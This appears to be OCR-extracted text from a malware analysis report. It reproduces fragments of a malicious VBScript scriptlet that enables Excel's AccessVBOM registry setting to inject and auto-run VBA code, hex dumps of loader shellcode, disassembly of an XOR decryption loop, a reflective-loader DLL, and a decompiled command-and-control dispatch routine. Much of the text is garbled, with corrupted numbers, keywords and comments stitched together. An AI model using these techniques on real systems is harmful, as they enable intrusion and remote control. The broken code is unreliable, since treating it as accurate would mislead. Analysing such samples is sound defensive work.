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<?HML version="1.0"72>
|<zcriptlet>
|[<gcript language="VBScript">

<! [CDRTR[
dTEMgCaWeRlUVLC=Array (102,80, 65,21, 90,87, 95,112,77,8¢6,80,8%,21,48,21,118,71,180, 84,
65,89,92,86,084,65,92,90,91,23,28,63,50,87,55,112,77,86¢,80,8%,27,9%,9%2,70,9%2,87,8%
102,93,80,89,89,21,8,21,118,71,80,84,65,80,122,87,95,680,86,65,259,23,98,70,86,71, 9.
%0,%1,21,103,80,82,112,77,5%2,70,65,70,29,71,80,82,126,80,76,28,63,60,50,91,21,80,°
70,%3,102,93,80,8%,8%9,27,103,80,82,103,80,84,81,21,71,80,82,126,80,76,63,60,103,8
87,80,71,21,8,21,5,28,63,80,91,81,21,83,64,91,86,65,5%2,90,51,63,63,18,21,114, 80, &!
122,120,21,67,84,8%9,64,80,63,103,80,82,101,84,65,93,21,8,21,23,125,126,112,108,10

AT CC Fr NA T4 AM ANE MAan A e T4 A A fA 0T FE AAC AAaa NA Na fAa As A 4nc A

3 0x35, 0x39, 0x35

Excel AccessVBOM

1 Set obhiFxcel = Createdhiect("Fxcel.apnlication?)
2 objExcel.Vvisible = False

3
4 set Wshshell = CreateObject("wscript.shell™)
5
6  function RegExists(regkey)
7 on-error resume next
8 Wshshell.RegRead regkey
9 RegExists = (Err.number = @)
186 ond functian
‘ersion & "\Excel\Security\AccessvBOM" 12 RegPath = "HKEY_CURRENT_USER\Software\Microsoft\office\" & objExcel.v

14 if RegExists(RegPath) then

15 action = Wshshell.RegRead(RegPath)

17 action = ""

18 end-if
Wshshell.RegWrite RegPath, 1, "REG_DWORD"
- ) - BRI LGRS e sl = .

23 Set xlmodule = objworkbook.vBProject.vBComponents.Add(1)
Excel 0x78
CreateProcess rundli32 shellcode
CreateRemoteThread shellcode
shellcode base64 base64
shellcode

00000000 | 00 01 02 03 (04 05 06 07 08 09 0a 0b 0c 0d 0e of
00000000 | [EB]3a 31 d2 80 3b 2b 75 04 b2 3e eb 26 80 3b 2f Bl 1% ;+u.? ? €;/ e loader shellcode
00000010 | 75 04 b2 3f eb 1d 80 3b 39 77 07 8a 13 80 ea fc u.? ? €:0w.? E€E
00000020 | eb 11 80 3b 5a 77 07 8a 13 80 ea 41 eh 05 8a 13 ? €;Iw.7 €M ? 7
00000030 | 80 ea 47 ¢l a0 06 08 d0 43 ¢3 eb 05 e8 fo ff ff M ¥ ..E B .8
00000040 | FF Sb 31 c9 80 cl 36 01 ch 89 d9 31 c0 80 3b 3d [1¥E? . &? %% ;=
00000050 | 74 25 e8 ab ff ff ff e8 a6 ff ff ff e8 al ff ff T% @ = =
= - L

. DDDDI}?&Q

shellcode 0x76 loader
base64 shellcode



00000000 | 00 01 02 03 04 05 06 07 08 09 0a Ob Oc 0d 0Oe Of

00000000 EE 89 00 00 00 B0 89 e5 31 d2 64 8b 52 30 8b ? ..
00000010 | 52 Oc 8b 52 14 8b 72 28 0Of b7 4a 26 31 ff 31 c0 . i

00000020 a

00000030
00000040
00000050
00000060
FI f)lTl.-".'l
ot R 1

: T
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shellcode C&C shellcode
Excel  Auto_Open Excel
AccessVBOM
L rbEEsslereirdd erier= 57 g
2 @1error TEITTorexi
3  objExcel.Run "Auto Open”
a nhiklarkhnok.clanse Falsa . ... R _
—_— . T Dl orva . h e ’ e [ —
6
7 Restore the registry to its old state
8 if action = "" then
Sy 2T et R g fr e T
1@ else
A e R R g o S ot 4 i B gl -t o ot e

A TWE
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seqB00:00000000 FC cld

SegBee:00000001 EB 00 00 B0 08 call $+5

segBen: EB 27 jmp short loc_2F
segB00:00000008

seqB00:00000008 =============== S UBROUTTINE
SeqgBee:00000008

segBe:00000008

segBE0:00000008 sub_8 proc near ; CODE XREF: seg0@0:lec_2Fip
segfBp:00BB00BE SF pop edi

segBBE:00000009 88 37 mov esi, [edi] ; iWiEox34

5egBeR:0000000B 83 C7 04 add edi, 4

segBE0:0000000E 8B 1F mov ebx, [ed1]

segPAA:00000010 31 F3 xor ebx, esi ; ebx = 0x31E00 HESKE
5eg000:00000012 83 C7 04 add edi, 4

5eg000:00000015 57 push ed1

SegBee:00000016
cecrypt: ; TCDE XREF: sao_8+22.° I

loc 2F: ; EODE XREF: segf80:0080088061)

DLL 17f2d8.dll
_ReflectiveLoader@4
pFile Raw Data Value
0Ee20932 31 37 66 32 64 38 2E 64 6C 6C 00 SF 52 65 66 6C 17f2d8.d11. Refl
EEE20942 65 63 74 69 76 65 4C 6F 61 64 65 72 40 34 60 ectiveloader@d.
DlIMain 0x10030028 0x1000 0x69
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2/{
3l ant w3; /7 eda
5 w3 = len;
6 switch ( a2 )
71 1
8 case 1:
] sub_18885634((int)a3, len, 1); // BEhiig
10 break;
11 case 2:
12 sub_10003B6A(=3);
132 break;
14 case 3:
15 sub_18893609() ;
16 break;
17 case 4:
18 sub_1000368C(Len);
19 break;
20 case 5:
21 sub_1888361D(1en, a3); /7 MREFR
break;
23 case 9:
24 sub_100054E0(Len, 1); JF IR
25 break;
26 case OxA:
27 sub_10003D1E((1nt)a3, len, "wb"); /7 b
28 break;
29 case BxB:
el} sub_10004c29(=23, len); /7 REEH
31 break;
a 32 case 0xC:
3 33 sub_1000387A(1len, 22); /1 hATES
— 34 break;
35 case BxD:
- 36 sub_1800852D01(1len, a2, 1);
37 break;
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leannnn - ARARABAE, |y v ovar ek a O L L LT + FANC VOCC: »appAng IE Gt e
580303 =09330008 - pop=——edl __
5eQ908 - 9999000F 25 = e esL, [edi]
seg3e8 336890808 =3 [T 04 aid edi, 4
&2t  SOBRRAEE == - meev vex— edr]
5ega60 : 99000010 * or ebx, es1 T el = GxFEM-MESEET
segddd: 93006812 d edi, 4

=, B 1 2
JSTeic B 0D DDA,
LT

RSy

= =

e O ORI SIS = Ex s 1 e d—
Eam—— Ly
sl OO EE =
shellcode shellcode
sub_8 prog near
pop esi
mov ebx, [esi]
add esi, 4
mov ebp, [esi]
xor ebp; ebx
add esi, 4
push esi
loc_16:
mov edi, [esi]
xor edi, ebx
nov [esi], edi
xor ebx, edi
add esi, 4
sub ebp, 4
xor edi, edi
cnp ebp, edi
jz short loc_2C

jmp short loc_16
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